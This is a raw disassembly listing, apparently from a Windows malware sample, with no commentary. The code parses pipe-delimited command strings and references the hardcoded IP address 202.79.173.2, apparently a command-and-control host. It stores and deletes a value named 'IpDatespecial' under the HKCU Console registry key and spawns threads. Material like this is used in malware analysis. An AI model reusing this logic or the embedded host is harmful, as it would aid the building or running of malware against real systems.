mov r10, rbx
test ebx, ebx
jle 0x14000ec78
mov rcx, rsi
nop
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000ec26
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000ec26
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000ec10
cmp r9d, r14d
jne 0x14000ec52
add r8d, r14d
add rcx, r14
movsxd rax, r8d
cmp rcx, r10
jge 0x14000ec52
nop dword [rax]
cmp word [rdi + rcx*2], 0x7c
je 0x14000ec5f
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ec40
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ec00
jmp 0x14000ec78
sub r8d, eax
lea rdx, [rdi + rax*2]
add r8d, r8d
lea rcx, str.202.79.173.2
movsxd r8, r8d
call fcn.14003d2f0
lea rcx, [0x14005af7a]
lea rdi, [r15 + 2]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, [0x14005af7a]
lea eax, [rax*2 + 2]
movsxd r8, eax
call fcn.14003d990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bd30]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000ed48
mov rcx, rsi
nop dword [rax]
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000ecf6
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000ecf6
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000ece0
cmp r9d, r14d
jne 0x14000ed22
add r8d, r14d
add rcx, r14
movsxd rax, r8d
cmp rcx, r10
jge 0x14000ed22
nop dword [rax]
cmp word [rdi + rcx*2], 0x7c
je 0x14000ed2f
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ed10
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ecd0
jmp 0x14000ed48
sub r8d, eax
lea rdx, [rdi + rax*2]
add r8d, r8d
lea rcx, [0x14005af7a]
movsxd r8, r8d
call fcn.14003d2f0
lea rdi, [r15 + 2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r15, [0x14004bd38]
movsxd rbx, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r12, qword [rsp + 0x618]
mov r8d, esi
movsxd r14, eax
mov r10, rbx
test ebx, ebx
jle 0x14000edea
mov rcx, rsi
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000eda6
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r15 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000eda6
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000ed90
cmp r9d, r14d
jne 0x14000edc8
add r8d, r14d
add rcx, r14
cmp rcx, r10
jge 0x14000edc8
cmp word [rdi + rcx*2], 0x7c
je 0x14000edd5
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000edb6
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ed80
jmp 0x14000edea
movsxd rax, r8d
cmp word [rdi + rax*2 - 2], 0x31
jne 0x14000edea
mov dword [0x14005afb8], 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
call qword [rax]
jmp case.0x14000db4d.20
mov ecx, 0x7d2
call fcn.14001def8
mov rbx, rax
cmp edi, 0x7d2
jne case.0x14000db4d.20
mov rcx, rax
mov rdx, r14
mov r8d, 0x7d2
call fcn.14003d2f0
mov r9, rbx
lea r8, [0x14000d410]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call fcn.140028b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x14000db4d.20
cmp dword [rbx], esi
je case.0x14000db4d.20
lea rax, [rbp + 0x558]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 0x558]
lea rdx, str.IpDatespecial
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x558]
lea rdx, str.IpDatespecial
mov r9d, 3
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x14000db4d.20
cmp dword [rbx], esi
je case.0x14000db4d.20
lea rax, [rbp + 0x558]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 0x558]
lea rdx, str.IpDatespecial
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x14000db4d.20
mov rcx, r13
call fcn.14000f350
mov r15, qword [rsp + 0x610]
mov rsi, qword [rsp + 0x650]
add rsp, 0x620
pop r14
pop r13
pop rdi
pop rbx
pop rbp
ret
call fcn.140009380
int3